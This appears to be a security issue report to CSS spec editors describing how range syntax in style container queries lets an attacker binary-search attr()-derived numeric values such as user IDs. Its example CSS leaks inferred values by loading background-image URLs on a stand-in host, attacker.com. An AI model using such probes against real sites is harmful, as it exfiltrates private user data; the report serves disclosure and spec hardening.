Description
The introduction of range syntax in style container queries (as per https://drafts.csswg.org/css-conditional-5/#style-container) significantly reduces the complexity of extracting numeric values from attr()-tainted declarations. Previously, an attacker would need to linearly probe (O(n)) to deduce a numeric attribute value. With ranges, this can now be achieved much more efficiently, likely in logarithmic time (O(log n)).
When a <style-feature-value>
within a style container query is attr()-tainted numeric value, the new range syntax allows an attacker to perform a binary search-like attack. By iteratively narrowing down the range, an attacker can rapidly discover the exact numeric value of the attribute. This poses a significant security risk if those numeric attributes contain sensitive or privacy-compromising information (e.g., user IDs, financial data, internal identifiers, session tokens, or other personally identifiable numeric data).
Example
Consider a scenario where a user's ID is reflected in a user_id attribute on an element:
<div user_id="12345">...</div>
An attacker could craft a series of style container queries, potentially injected via CSS or other means, to determine the user_id:
/* First probe: Is the user_id less than 500000? */
@container style(attr(user_id) < 500000) {
/* If true, trigger a side effect observable by the attacker (e.g., load a specific background-image URL, change layout that triggers a reflow/repaint observable through timing attacks, etc.) */
body { background-image: url("https://attacker.com/leak?val=lt500k"); }
}
/* Second probe (if < 500000 was true): Is it less than 250000? */
@container style(attr(user_id) < 250000) {
body { background-image: url("https://attacker.com/leak?val=lt250k"); }
}
/* ... and so on, performing a binary search ... */
/* Example of a fine-grained probe to pinpoint the value */
@container style(attr(user_id) >= 12340) and style(attr(user_id) <= 12350) {
body { background-image: url("https://attacker.com/leak?found=12345"); }
}
By observing network requests, timing, or other side channels, the attacker can deduce the precise user_id much faster than if only equality checks were available.
cc: @andruud @tabatkins